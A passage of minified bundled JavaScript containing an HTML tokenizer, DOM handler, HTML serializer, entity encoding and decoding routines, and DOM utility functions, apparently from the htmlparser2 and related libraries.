me(e,t){this._state=l,this._buffer="",this._sectionStart=0,this._index=0,this._bufferOffset=0,this._baseState=l,this._special=ce,this._cbs=t,this._running=!0,this._ended=!1,this._xmlMode=!(!e||!e.xmlMode),this._decodeEntities=!(!e||!e.decodeEntities)}me.prototype._stateText=function(e){"<"===e?(this._index>this._sectionStart&&this._cbs.ontext(this._getSection()),this._state=u,this._sectionStart=this._index):this._decodeEntities&&this._special===ce&&"&"===e&&(this._index>this._sectionStart&&this._cbs.ontext(this._getSection()),this._baseState=l,this._state=ne,this._sectionStart=this._index)},me.prototype._stateBeforeTagName=function(e){"/"===e?this._state=h:"<"===e?(this._cbs.ontext(this._getSection()),this._sectionStart=this._index):">"===e||this._special!==ce||fe(e)?this._state=l:"!"===e?(this._state=v,this._sectionStart=this._index+1):"?"===e?(this._state=O,this._sectionStart=this._index+1):(this._state=this._xmlMode||"s"!==e&&"S"!==e?c:U,this._sectionStart=this._index)},me.prototype._stateInTagName=function(e){("/"===e||">"===e||fe(e))&&(this._emitToken("onopentagname"),this._state=g,this._index--)},me.prototype._stateBeforeCloseingTagName=function(e){fe(e)||(">"===e?this._state=l:this._special!==ce?"s"===e||"S"===e?this._state=B:(this._state=l,this._index--):(this._state=f,this._sectionStart=this._index))},me.prototype._stateInCloseingTagName=function(e){(">"===e||fe(e))&&(this._emitToken("onclosetag"),this._state=p,this._index--)},me.prototype._stateAfterCloseingTagName=function(e){">"===e&&(this._state=l,this._sectionStart=this._index+1)},me.prototype._stateBeforeAttributeName=function(e){">"===e?(this._cbs.onopentagend(),this._state=l,this._sectionStart=this._index+1):"/"===e?this._state=d:fe(e)||(this._state=m,this._sectionStart=this._index)},me.prototype._stateInSelfClosingTag=function(e){">"===e?(this._cbs.onselfclosingtag(),this._state=l,this._sectionStart=this._index+1):fe(e)||(this._state=g,this._index--)},me.prototype._stateInAttributeName=function(e){("="===e||"/"===e||">"===e||fe(e))&&(this._cbs.onattribname(this._getSection()),this._sectionStart=-1,this._state=_,this._index--)},me.prototype._stateAfterAttributeName=function(e){"="===e?this._state=T:"/"===e||">"===e?(this._cbs.onattribend(),this._state=g,this._index--):fe(e)||(this._cbs.onattribend(),this._state=m,this._sectionStart=this._index)},me.prototype._stateBeforeAttributeValue=function(e){'"'===e?(this._state=E,this._sectionStart=this._index+1):"'"===e?(this._state=A,this._sectionStart=this._index+1):fe(e)||(this._state=y,this._sectionStart=this._index,this._index--)},me.prototype._stateInAttributeValueDoubleQuotes=function(e){'"'===e?(this._emitToken("onattribdata"),this._cbs.onattribend(),this._state=g):this._decodeEntities&&"&"===e&&(this._emitToken("onattribdata"),this._baseState=this._state,this._state=ne,this._sectionStart=this._index)},me.prototype._stateInAttributeValueSingleQuotes=function(e){"'"===e?(this._emitToken("onattribdata"),this._cbs.onattribend(),this._state=g):this._decodeEntities&&"&"===e&&(this._emitToken("onattribdata"),this._baseState=this._state,this._state=ne,this._sectionStart=this._index)},me.prototype._stateInAttributeValueNoQuotes=function(e){fe(e)||">"===e?(this._emitToken("onattribdata"),this._cbs.onattribend(),this._state=g,this._index--):this._decodeEntities&&"&"===e&&(this._emitToken("onattribdata"),this._baseState=this._state,this._state=ne,this._sectionStart=this._index)},me.prototype._stateBeforeDeclaration=function(e){this._state="["===e?D:"-"===e?S:b},me.prototype._stateInDeclaration=function(e){">"===e&&(this._cbs.ondeclaration(this._getSection()),this._state=l,this._sectionStart=this._index+1)},me.prototype._stateInProcessingInstruction=function(e){">"===e&&(this._cbs.onprocessinginstruction(this._getSection()),this._state=l,this._sectionStart=this._index+1)},me.prototype._stateBeforeComment=function(e){"-"===e?(this._state=I,this._sectionStart=this._index+1):this._state=b},me.prototype._stateInComment=function(e){"-"===e&&(this._state=C)},me.prototype._stateAfterComment1=function(e){this._state="-"===e?N:I},me.prototype._stateAfterComment2=function(e){">"===e?(this._cbs.oncomment(this._buffer.substring(this._sectionStart,this._index-2)),this._state=l,this._sectionStart=this._index+1):"-"!==e&&(this._state=I)},me.prototype._stateBeforeCdata1=pe("C",w,b),me.prototype._stateBeforeCdata2=pe("D",P,b),me.prototype._stateBeforeCdata3=pe("A",R,b),me.prototype._stateBeforeCdata4=pe("T",k,b),me.prototype._stateBeforeCdata5=pe("A",L,b),me.prototype._stateBeforeCdata6=function(e){"["===e?(this._state=M,this._sectionStart=this._index+1):(this._state=b,this._index--)},me.prototype._stateInCdata=function(e){"]"===e&&(this._state=x)},me.prototype._stateAfterCdata1=function(e){this._state="]"===e?F:M},me.prototype._stateAfterCdata2=function(e){">"===e?(this._cbs.oncdata(this._buffer.substring(this._sectionStart,this._index-2)),this._state=l,this._sectionStart=this._index+1):"]"!==e&&(this._state=M)},me.prototype._stateBeforeSpecial=function(e){"c"===e||"C"===e?this._state=G:"t"===e||"T"===e?this._state=Q:(this._state=c,this._index--)},me.prototype._stateBeforeSpecialEnd=function(e){this._special!==de||"c"!==e&&"C"!==e?this._special!==he||"t"!==e&&"T"!==e?this._state=l:this._state=ee:this._state=q},me.prototype._stateBeforeScript1=ge("R",H),me.prototype._stateBeforeScript2=ge("I",j),me.prototype._stateBeforeScript3=ge("P",$),me.prototype._stateBeforeScript4=ge("T",W),me.prototype._stateBeforeScript5=function(e){("/"===e||">"===e||fe(e))&&(this._special=de),this._state=c,this._index--},me.prototype._stateAfterScript1=pe("R",V,l),me.prototype._stateAfterScript2=pe("I",K,l),me.prototype._stateAfterScript3=pe("P",Y,l),me.prototype._stateAfterScript4=pe("T",z,l),me.prototype._stateAfterScript5=function(e){">"===e||fe(e)?(this._special=ce,this._state=f,this._sectionStart=this._index-6,this._index--):this._state=l},me.prototype._stateBeforeStyle1=ge("Y",X),me.prototype._stateBeforeStyle2=ge("L",J),me.prototype._stateBeforeStyle3=ge("E",Z),me.prototype._stateBeforeStyle4=function(e){("/"===e||">"===e||fe(e))&&(this._special=he),this._state=c,this._index--},me.prototype._stateAfterStyle1=pe("Y",te,l),me.prototype._stateAfterStyle2=pe("L",re,l),me.prototype._stateAfterStyle3=pe("E",se,l),me.prototype._stateAfterStyle4=function(e){">"===e||fe(e)?(this._special=ce,this._state=f,this._sectionStart=this._index-5,this._index--):this._state=l},me.prototype._stateBeforeEntity=pe("#",ie,ae),me.prototype._stateBeforeNumericEntity=pe("X",le,oe),me.prototype._parseNamedEntityStrict=function(){if(this._sectionStart+1<this._index){var e=this._buffer.substring(this._sectionStart+1,this._index),t=this._xmlMode?a:n;t.hasOwnProperty(e)&&(this._emitPartial(t[e]),this._sectionStart=this._index+1)}},me.prototype._parseLegacyEntity=function(){var e=this._sectionStart+1,t=this._index-e;for(t>6&&(t=6);t>=2;){var r=this._buffer.substr(e,t);if(i.hasOwnProperty(r))return this._emitPartial(i[r]),void(this._sectionStart+=t+1);t--}},me.prototype._stateInNamedEntity=function(e){";"===e?(this._parseNamedEntityStrict(),this._sectionStart+1<this._index&&!this._xmlMode&&this._parseLegacyEntity(),this._state=this._baseState):(e<"a"||e>"z")&&(e<"A"||e>"Z")&&(e<"0"||e>"9")&&(this._xmlMode||this._sectionStart+1===this._index||(this._baseState!==l?"="!==e&&this._parseNamedEntityStrict():this._parseLegacyEntity()),this._state=this._baseState,this._index--)},me.prototype._decodeNumericEntity=function(e,t){var r=this._sectionStart+e;if(r!==this._index){var n=this._buffer.substring(r,this._index),i=parseInt(n,t);this._emitPartial(s(i)),this._sectionStart=this._index}else this._sectionStart--;this._state=this._baseState},me.prototype._stateInNumericEntity=function(e){";"===e?(this._decodeNumericEntity(2,10),this._sectionStart++):(e<"0"||e>"9")&&(this._xmlMode?this._state=this._baseState:this._decodeNumericEntity(2,10),this._index--)},me.prototype._stateInHexEntity=function(e){";"===e?(this._decodeNumericEntity(3,16),this._sectionStart++):(e<"a"||e>"f")&&(e<"A"||e>"F")&&(e<"0"||e>"9")&&(this._xmlMode?this._state=this._baseState:this._decodeNumericEntity(3,16),this._index--)},me.prototype._cleanup=function(){this._sectionStart<0?(this._buffer="",this._bufferOffset+=this._index,this._index=0):this._running&&(this._state===l?(this._sectionStart!==this._index&&this._cbs.ontext(this._buffer.substr(this._sectionStart)),this._buffer="",this._bufferOffset+=this._index,this._index=0):this._sectionStart===this._index?(this._buffer="",this._bufferOffset+=this._index,this._index=0):(this._buffer=this._buffer.substr(this._sectionStart),this._index-=this._sectionStart,this._bufferOffset+=this._sectionStart),this._sectionStart=0)},me.prototype.write=function(e){this._ended&&this._cbs.onerror(Error(".write() after done!")),this._buffer+=e,this._parse()},me.prototype._parse=function(){for(;this._index<this._buffer.length&&this._running;){var e=this._buffer.charAt(this._index);this._state===l?this._stateText(e):this._state===u?this._stateBeforeTagName(e):this._state===c?this._stateInTagName(e):this._state===h?this._stateBeforeCloseingTagName(e):this._state===f?this._stateInCloseingTagName(e):this._state===p?this._stateAfterCloseingTagName(e):this._state===d?this._stateInSelfClosingTag(e):this._state===g?this._stateBeforeAttributeName(e):this._state===m?this._stateInAttributeName(e):this._state===_?this._stateAfterAttributeName(e):this._state===T?this._stateBeforeAttributeValue(e):this._state===E?this._stateInAttributeValueDoubleQuotes(e):this._state===A?this._stateInAttributeValueSingleQuotes(e):this._state===y?this._stateInAttributeValueNoQuotes(e):this._state===v?this._stateBeforeDeclaration(e):this._state===b?this._stateInDeclaration(e):this._state===O?this._stateInProcessingInstruction(e):this._state===S?this._stateBeforeComment(e):this._state===I?this._stateInComment(e):this._state===C?this._stateAfterComment1(e):this._state===N?this._stateAfterComment2(e):this._state===D?this._stateBeforeCdata1(e):this._state===w?this._stateBeforeCdata2(e):this._state===P?this._stateBeforeCdata3(e):this._state===R?this._stateBeforeCdata4(e):this._state===k?this._stateBeforeCdata5(e):this._state===L?this._stateBeforeCdata6(e):this._state===M?this._stateInCdata(e):this._state===x?this._stateAfterCdata1(e):this._state===F?this._stateAfterCdata2(e):this._state===U?this._stateBeforeSpecial(e):this._state===B?this._stateBeforeSpecialEnd(e):this._state===G?this._stateBeforeScript1(e):this._state===H?this._stateBeforeScript2(e):this._state===j?this._stateBeforeScript3(e):this._state===$?this._stateBeforeScript4(e):this._state===W?this._stateBeforeScript5(e):this._state===q?this._stateAfterScript1(e):this._state===V?this._stateAfterScript2(e):this._state===K?this._stateAfterScript3(e):this._state===Y?this._stateAfterScript4(e):this._state===z?this._stateAfterScript5(e):this._state===Q?this._stateBeforeStyle1(e):this._state===X?this._stateBeforeStyle2(e):this._state===J?this._stateBeforeStyle3(e):this._state===Z?this._stateBeforeStyle4(e):this._state===ee?this._stateAfterStyle1(e):this._state===te?this._stateAfterStyle2(e):this._state===re?this._stateAfterStyle3(e):this._state===se?this._stateAfterStyle4(e):this._state===ne?this._stateBeforeEntity(e):this._state===ie?this._stateBeforeNumericEntity(e):this._state===ae?this._stateInNamedEntity(e):this._state===oe?this._stateInNumericEntity(e):this._state===le?this._stateInHexEntity(e):this._cbs.onerror(Error("unknown _state"),this._state),this._index++}this._cleanup()},me.prototype.pause=function(){this._running=!1},me.prototype.resume=function(){this._running=!0,this._index<this._buffer.length&&this._parse(),this._ended&&this._finish()},me.prototype.end=function(e){this._ended&&this._cbs.onerror(Error(".end() after done!")),e&&this.write(e),this._ended=!0,this._running&&this._finish()},me.prototype._finish=function(){this._sectionStart<this._index&&this._handleTrailingData(),this._cbs.onend()},me.prototype._handleTrailingData=function(){var e=this._buffer.substr(this._sectionStart);this._state===M||this._state===x||this._state===F?this._cbs.oncdata(e):this._state===I||this._state===C||this._state===N?this._cbs.oncomment(e):this._state!==ae||this._xmlMode?this._state!==oe||this._xmlMode?this._state!==le||this._xmlMode?this._state!==c&&this._state!==g&&this._state!==T&&this._state!==_&&this._state!==m&&this._state!==A&&this._state!==E&&this._state!==y&&this._state!==f&&this._cbs.ontext(e):(this._decodeNumericEntity(3,16),this._sectionStart<this._index&&(this._state=this._baseState,this._handleTrailingData())):(this._decodeNumericEntity(2,10),this._sectionStart<this._index&&(this._state=this._baseState,this._handleTrailingData())):(this._parseLegacyEntity(),this._sectionStart<this._index&&(this._state=this._baseState,this._handleTrailingData()))},me.prototype.reset=function(){me.call(this,{xmlMode:this._xmlMode,decodeEntities:this._decodeEntities},this._cbs)},me.prototype.getAbsoluteIndex=function(){return this._bufferOffset+this._index},me.prototype._getSection=function(){return this._buffer.substring(this._sectionStart,this._index)},me.prototype._emitToken=function(e){this._cbs[e](this._getSection()),this._sectionStart=-1},me.prototype._emitPartial=function(e){this._baseState!==l?this._cbs.onattribdata(e):this._cbs.ontext(e)}},83621:(e,t,r)=>{e.exports=o;var s=r(50763),n=r(50247).Writable,i=r(48645).s,a=r(48764).Buffer;function o(e,t){var r=this._parser=new s(e,t),a=this._decoder=new i;n.call(this,{decodeStrings:!1}),this.once("finish",(function(){r.end(a.end())}))}r(35717)(o,n),o.prototype._write=function(e,t,r){e instanceof a&&(e=this._decoder.write(e)),this._parser.write(e),r()}},23719:(e,t,r)=>{var s=r(50763),n=r(29730);function i(t,r){return delete e.exports[t],e.exports[t]=r,r}e.exports={Parser:s,Tokenizer:r(39889),ElementType:r(62391),DomHandler:n,get FeedHandler(){return i("FeedHandler",r(63870))},get Stream(){return i("Stream",r(89924))},get WritableStream(){return i("WritableStream",r(83621))},get ProxyHandler(){return i("ProxyHandler",r(76321))},get DomUtils(){return i("DomUtils",r(29443))},get CollectingHandler(){return i("CollectingHandler",r(95449))},DefaultHandler:n,get RssHandler(){return i("RssHandler",this.FeedHandler)},parseDOM:function(e,t){var r=new n(t);return new s(r,t).end(e),r.dom},parseFeed:function(t,r){var n=new e.exports.FeedHandler(r);return new s(n,r).end(t),n.dom},createDomStream:function(e,t,r){var i=new n(e,t,r);return new s(i,t)},EVENTS:{attribute:2,cdatastart:0,cdataend:0,text:1,processinginstruction:2,comment:1,commentend:0,closetag:1,opentag:2,opentagname:1,error:1,end:0}}},88066:(e,t,r)=>{var s=r(82570),n=r(81137),i=r(79004);i.elementNames.__proto__=null,i.attributeNames.__proto__=null;var a={__proto__:null,style:!0,script:!0,xmp:!0,iframe:!0,noembed:!0,noframes:!0,plaintext:!0,noscript:!0},o={__proto__:null,area:!0,base:!0,basefont:!0,br:!0,col:!0,command:!0,embed:!0,frame:!0,hr:!0,img:!0,input:!0,isindex:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0},l=e.exports=function(e,t){Array.isArray(e)||e.cheerio||(e=[e]),t=t||{};for(var r="",n=0;n<e.length;n++){var i=e[n];"root"===i.type?r+=l(i.children,t):s.isTag(i)?r+=c(i,t):i.type===s.Directive?r+=d(i):i.type===s.Comment?r+=p(i):i.type===s.CDATA?r+=f(i):r+=h(i,t)}return r},u=["mi","mo","mn","ms","mtext","annotation-xml","foreignObject","desc","title"];function c(e,t){"foreign"===t.xmlMode&&(e.name=i.elementNames[e.name]||e.name,e.parent&&u.indexOf(e.parent.name)>=0&&(t=Object.assign({},t,{xmlMode:!1}))),!t.xmlMode&&["svg","math"].indexOf(e.name)>=0&&(t=Object.assign({},t,{xmlMode:"foreign"}));var r="<"+e.name,s=function(e,t){if(e){var r,s="";for(var a in e)r=e[a],s&&(s+=" "),"foreign"===t.xmlMode&&(a=i.attributeNames[a]||a),s+=a,(null!==r&&""!==r||t.xmlMode)&&(s+='="'+(t.decodeEntities?n.encodeXML(r):r.replace(/\"/g,"&quot;"))+'"');return s}}(e.attribs,t);return s&&(r+=" "+s),!t.xmlMode||e.children&&0!==e.children.length?(r+=">",e.children&&(r+=l(e.children,t)),o[e.name]&&!t.xmlMode||(r+="</"+e.name+">")):r+="/>",r}function d(e){return"<"+e.data+">"}function h(e,t){var r=e.data||"";return!t.decodeEntities||e.parent&&e.parent.name in a||(r=n.encodeXML(r)),r}function f(e){return"<![CDATA["+e.children[0].data+"]]>"}function p(e){return"\x3c!--"+e.data+"--\x3e"}},82570:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Doctype=t.CDATA=t.Tag=t.Style=t.Script=t.Comment=t.Directive=t.Text=t.Root=t.isTag=void 0,t.isTag=function(e){return"tag"===e.type||"script"===e.type||"style"===e.type},t.Root="root",t.Text="text",t.Directive="directive",t.Comment="comment",t.Script="script",t.Style="style",t.Tag="tag",t.CDATA="cdata",t.Doctype="doctype"},80162:function(e,t,r){"use strict";var s=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.decodeHTML=t.decodeHTMLStrict=t.decodeXML=void 0;var n=s(r(53082)),i=s(r(23195)),a=s(r(61210)),o=s(r(64914)),l=/&(?:[a-zA-Z0-9]+|#[xX][\da-fA-F]+|#\d+);/g;function u(e){var t=d(e);return function(e){return String(e).replace(l,t)}}t.decodeXML=u(a.default),t.decodeHTMLStrict=u(n.default);var c=function(e,t){return e<t?1:-1};function d(e){return function(t){if("#"===t.charAt(1)){var r=t.charAt(2);return"X"===r||"x"===r?o.default(parseInt(t.substr(3),16)):o.default(parseInt(t.substr(2),10))}return e[t.slice(1,-1)]||t}}t.decodeHTML=function(){for(var e=Object.keys(i.default).sort(c),t=Object.keys(n.default).sort(c),r=0,s=0;r<t.length;r++)e[s]===t[r]?(t[r]+=";?",s++):t[r]+=";";var a=new RegExp("&(?:"+t.join("|")+"|#[xX][\\da-fA-F]+;?|#\\d+;?)","g"),o=d(n.default);function l(e){return";"!==e.substr(-1)&&(e+=";"),o(e)}return function(e){return String(e).replace(a,l)}}()},64914:function(e,t,r){"use strict";var s=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0});var n=s(r(33523)),i=String.fromCodePoint||function(e){var t="";return e>65535&&(e-=65536,t+=String.fromCharCode(e>>>10&1023|55296),e=56320|1023&e),t+String.fromCharCode(e)};t.default=function(e){return e>=55296&&e<=57343||e>1114111?"�":(e in n.default&&(e=n.default[e]),i(e))}},60670:function(e,t,r){"use strict";var s=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.escapeUTF8=t.escape=t.encodeNonAsciiHTML=t.encodeHTML=t.encodeXML=void 0;var n=c(s(r(61210)).default),i=d(n);t.encodeXML=m(n);var a,o,l=c(s(r(53082)).default),u=d(l);function c(e){return Object.keys(e).sort().reduce((function(t,r){return t[e[r]]="&"+r+";",t}),{})}function d(e){for(var t=[],r=[],s=0,n=Object.keys(e);s<n.length;s++){var i=n[s];1===i.length?t.push("\\"+i):r.push(i)}t.sort();for(var a=0;a<t.length-1;a++){for(var o=a;o<t.length-1&&t[o].charCodeAt(1)+1===t[o+1].charCodeAt(1);)o+=1;var l=1+o-a;l<3||t.splice(a,l,t[a]+"-"+t[o])}return r.unshift("["+t.join("")+"]"),new RegExp(r.join("|"),"g")}t.encodeHTML=(a=l,o=u,function(e){return e.replace(o,(function(e){return a[e]})).replace(h,p)}),t.encodeNonAsciiHTML=m(l);var h=/(?:[\x80-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])/g,f=null!=String.prototype.codePointAt?function(e){return e.codePointAt(0)}:function(e){return 1024*(e.charCodeAt(0)-55296)+e.charCodeAt(1)-56320+65536};function p(e){return"&#x"+(e.length>1?f(e):e.charCodeAt(0)).toString(16).toUpperCase()+";"}var g=new RegExp(i.source+"|"+h.source,"g");function m(e){return function(t){return t.replace(g,(function(t){return e[t]||p(t)}))}}t.escape=function(e){return e.replace(g,p)},t.escapeUTF8=function(e){return e.replace(i,p)}},81137:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.decodeXMLStrict=t.decodeHTML5Strict=t.decodeHTML4Strict=t.decodeHTML5=t.decodeHTML4=t.decodeHTMLStrict=t.decodeHTML=t.decodeXML=t.encodeHTML5=t.encodeHTML4=t.escapeUTF8=t.escape=t.encodeNonAsciiHTML=t.encodeHTML=t.encodeXML=t.encode=t.decodeStrict=t.decode=void 0;var s=r(80162),n=r(60670);t.decode=function(e,t){return(!t||t<=0?s.decodeXML:s.decodeHTML)(e)},t.decodeStrict=function(e,t){return(!t||t<=0?s.decodeXML:s.decodeHTMLStrict)(e)},t.encode=function(e,t){return(!t||t<=0?n.encodeXML:n.encodeHTML)(e)};var i=r(60670);Object.defineProperty(t,"encodeXML",{enumerable:!0,get:function(){return i.encodeXML}}),Object.defineProperty(t,"encodeHTML",{enumerable:!0,get:function(){return i.encodeHTML}}),Object.defineProperty(t,"encodeNonAsciiHTML",{enumerable:!0,get:function(){return i.encodeNonAsciiHTML}}),Object.defineProperty(t,"escape",{enumerable:!0,get:function(){return i.escape}}),Object.defineProperty(t,"escapeUTF8",{enumerable:!0,get:function(){return i.escapeUTF8}}),Object.defineProperty(t,"encodeHTML4",{enumerable:!0,get:function(){return i.encodeHTML}}),Object.defineProperty(t,"encodeHTML5",{enumerable:!0,get:function(){return i.encodeHTML}});var a=r(80162);Object.defineProperty(t,"decodeXML",{enumerable:!0,get:function(){return a.decodeXML}}),Object.defineProperty(t,"decodeHTML",{enumerable:!0,get:function(){return a.decodeHTML}}),Object.defineProperty(t,"decodeHTMLStrict",{enumerable:!0,get:function(){return a.decodeHTMLStrict}}),Object.defineProperty(t,"decodeHTML4",{enumerable:!0,get:function(){return a.decodeHTML}}),Object.defineProperty(t,"decodeHTML5",{enumerable:!0,get:function(){return a.decodeHTML}}),Object.defineProperty(t,"decodeHTML4Strict",{enumerable:!0,get:function(){return a.decodeHTMLStrict}}),Object.defineProperty(t,"decodeHTML5Strict",{enumerable:!0,get:function(){return a.decodeHTMLStrict}}),Object.defineProperty(t,"decodeXMLStrict",{enumerable:!0,get:function(){return a.decodeXML}})},62391:e=>{e.exports={Text:"text",Directive:"directive",Comment:"comment",Script:"script",Style:"style",Tag:"tag",CDATA:"cdata",Doctype:"doctype",isTag:function(e){return"tag"===e.type||"script"===e.type||"style"===e.type}}},29730:(e,t,r)=>{var s=r(62391),n=/\s+/g,i=r(16805),a=r(7359);function o(e,t,r){"object"==typeof e?(r=t,t=e,e=null):"function"==typeof t&&(r=t,t=l),this._callback=e,this._options=t||l,this._elementCB=r,this.dom=[],this._done=!1,this._tagStack=[],this._parser=this._parser||null}var l={normalizeWhitespace:!1,withStartIndices:!1,withEndIndices:!1};o.prototype.onparserinit=function(e){this._parser=e},o.prototype.onreset=function(){o.call(this,this._callback,this._options,this._elementCB)},o.prototype.onend=function(){this._done||(this._done=!0,this._parser=null,this._handleCallback(null))},o.prototype._handleCallback=o.prototype.onerror=function(e){if("function"==typeof this._callback)this._callback(e,this.dom);else if(e)throw e},o.prototype.onclosetag=function(){var e=this._tagStack.pop();this._options.withEndIndices&&e&&(e.endIndex=this._parser.endIndex),this._elementCB&&this._elementCB(e)},o.prototype._createDomElement=function(e){if(!this._options.withDomLvl1)return e;var t;for(var r in t="tag"===e.type?Object.create(a):Object.create(i),e)e.hasOwnProperty(r)&&(t[r]=e[r]);return t},o.prototype._addDomElement=function(e){var t=this._tagStack[this._tagStack.length-1],r=t?t.children:this.dom,s=r[r.length-1];e.next=null,this._options.withStartIndices&&(e.startIndex=this._parser.startIndex),this._options.withEndIndices&&(e.endIndex=this._parser.endIndex),s?(e.prev=s,s.next=e):e.prev=null,r.push(e),e.parent=t||null},o.prototype.onopentag=function(e,t){var r={type:"script"===e?s.Script:"style"===e?s.Style:s.Tag,name:e,attribs:t,children:[]},n=this._createDomElement(r);this._addDomElement(n),this._tagStack.push(n)},o.prototype.ontext=function(e){var t,r=this._options.normalizeWhitespace||this._options.ignoreWhitespace;if(!this._tagStack.length&&this.dom.length&&(t=this.dom[this.dom.length-1]).type===s.Text)r?t.data=(t.data+e).replace(n," "):t.data+=e;else if(this._tagStack.length&&(t=this._tagStack[this._tagStack.length-1])&&(t=t.children[t.children.length-1])&&t.type===s.Text)r?t.data=(t.data+e).replace(n," "):t.data+=e;else{r&&(e=e.replace(n," "));var i=this._createDomElement({data:e,type:s.Text});this._addDomElement(i)}},o.prototype.oncomment=function(e){var t=this._tagStack[this._tagStack.length-1];if(t&&t.type===s.Comment)t.data+=e;else{var r={data:e,type:s.Comment},n=this._createDomElement(r);this._addDomElement(n),this._tagStack.push(n)}},o.prototype.oncdatastart=function(){var e={children:[{data:"",type:s.Text}],type:s.CDATA},t=this._createDomElement(e);this._addDomElement(t),this._tagStack.push(t)},o.prototype.oncommentend=o.prototype.oncdataend=function(){this._tagStack.pop()},o.prototype.onprocessinginstruction=function(e,t){var r=this._createDomElement({name:e,data:t,type:s.Directive});this._addDomElement(r)},e.exports=o},7359:(e,t,r)=>{var s=r(16805),n=e.exports=Object.create(s),i={tagName:"name"};Object.keys(i).forEach((function(e){var t=i[e];Object.defineProperty(n,e,{get:function(){return this[t]||null},set:function(e){return this[t]=e,e}})}))},16805:e=>{var t=e.exports={get firstChild(){var e=this.children;return e&&e[0]||null},get lastChild(){var e=this.children;return e&&e[e.length-1]||null},get nodeType(){return s[this.type]||s.element}},r={tagName:"name",childNodes:"children",parentNode:"parent",previousSibling:"prev",nextSibling:"next",nodeValue:"data"},s={element:1,text:3,cdata:4,comment:8};Object.keys(r).forEach((function(e){var s=r[e];Object.defineProperty(t,e,{get:function(){return this[s]||null},set:function(e){return this[s]=e,e}})}))},29443:(e,t,r)=>{var s=e.exports;[r(72178),r(61699),r(26167),r(46754),r(55355),r(99256)].forEach((function(e){Object.keys(e).forEach((function(t){s[t]=e[t].bind(s)}))}))},99256:(e,t)=>{t.removeSubsets=function(e){for(var t,r,s,n=e.length;--n>-1;){for(t=r=e[n],e[n]=null,s=!0;r;){if(e.indexOf(r)>-1){s=!1,e.splice(n,1);break}r=r.parent}s&&(e[n]=t)}return e};var r=t.compareDocumentPosition=function(e,t){var r,s,n,i,a,o,l=[],u=[];if(e===t)return 0;for(r=e;r;)l.unshift(r),r=r.parent;for(r=t;r;)u.unshift(r),r=r.parent;for(o=0;l[o]===u[o];)o++;return 0===o?1:(n=(s=l[o-1]).children,i=l[o],a=u[o],n.indexOf(i)>n.indexOf(a)?s===t?20:4:s===e?10:2)};t.uniqueSort=function(e){var t,s,n=e.length;for(e=e.slice();--n>-1;)t=e[n],(s=e.indexOf(t))>-1&&s<n&&e.splice(n,1);return e.sort((function(e,t){var s=r(e,t);return 2&s?-1:4&s?1:0})),e}},55355:(e,t,r)=>{var s=r(62391),n=t.isTag=s.isTag;t.testElement=function(e,t){for(var r in e)if(e.hasOwnProperty(r))if("tag_name"===r){if(!n(t)||!e.tag_name(t.name))return!1}else if("tag_type"===r){if(!e.tag_type(t.type))return!1}else if("tag_contains"===r){if(n(t)||!e.tag_contains(t.data))return!1}else if(!t.attribs||!e[r](t.attribs[r]))return!1;return!0};var i={tag_name:function(e){return"function"==typeof e?function(t){return n(t)&&e(t.name)}:"*"===e?n:function(t){return n(t)&&t.name===e}},tag_type:function(e){return"function"==typeof e?function(t){return e(t.type)}:function(t){return t.type===e}},tag_contains:function(e){return"function"==typeof e?function(t){return!n(t)&&e(t.data)}:function(t){return!n(t)&&t.data===e}}};function a(e,t){return"function"==typeof t?function(r){return r.attribs&&t(r.attribs[e])}:function(r){return r.attribs&&r.attribs[e]===t}}function o(e,t){return function(r){return e(r)||t(r)}}t.getElements=function(e,t,r,s){var n=Object.keys(e).map((function(t){var r=e[t];return t in i?i[t](r):a(t,r)}));return 0===n.length?[]:this.filter(n.reduce(o),t,r,s)},t.getElementById=function(e,t,r){return Array.isArray(t)||(t=[t]),this.findOne(a("id",e),t,!1!==r)},t.getElementsByTagName=function(e,t,r,s){return this.filter(i.tag_name(e),t,r,s)},t.getElementsByTagType=function(e,t,r,s){return this.filter(i.tag_type(e),t,r,s)}},26167:(e,t)=>{t.removeElement=function(e){if(e.prev&&(e.prev.next=e.next),e.next&&(e.next.prev=e.prev),e.parent){var t=e.parent.children;t.splice(t.lastIndexOf(e),1)}},t.replaceElement=function(e,t){var r=t.prev=e.prev;r&&(r.next=t);var s=t.next=e.next;s&&(s.prev=t);var n=t.parent=e.parent;if(n){var i=n.children;i[i.lastIndexOf(e)]=t}},t.appendChild=function(e,t){if(t.parent=e,1!==e.children.push(t)){var r=e.children[e.children.length-2];r.next=t,t.prev=r,t.next=null}},t.append=function(e,t){var r=e.parent,s=e.next;if(t.next=s,t.prev=e,e.next=t,t.parent=r,s){if(s.prev=t,r){var n=r.children;n.splice(n.lastIndexOf(s),0,t)}}else r&&r.children.push(t)},t.prepend=function(e,t){var r=e.parent;if(r){var s=r.children;s.splice(s.lastIndexOf(e),0,t)}e.prev&&(e.prev.next=t),t.parent=r,t.prev=e.prev,t.next=e,e.prev=t}},46754:(e,t,r)=>{var s=r(62391).isTag;function n(e,t,r,s){for(var i,a=[],o=0,l=t.length;o<l&&!(e(t[o])&&(a.push(t[o]),--s<=0))&&(i=t[o].children,!(r&&i&&i.length>0&&(i=n(e,i,r,s),a=a.concat(i),(s-=i.length)<=0)));o++);return a}e.exports={filter:function(e,t,r,s){return Array.isArray(t)||(t=[t]),"number"==typeof s&&isFinite(s)||(s=1/0),n(e,t,!1!==r,s)},find:n,findOneChild:function(e,t){for(var r=0,s=t.length;r<s;r++)if(e(t[r]))return t[r];return null},findOne:function e(t,r){for(var n=null,i=0,a=r.length;i<a&&!n;i++)s(r[i])&&(t(r[i])?n=r[i]:r[i].children.length>0&&(n=e(t,r[i].children)));return n},existsOne:function e(t,r){for(var n=0,i=r.length;n<i;n++)if(s(r[n])&&(t(r[n])||r[n].children.length>0&&e(t,r[n].children)))return!0;return!1},findAll:function(e,t){for(var r=[],n=t.slice();n.length;){var 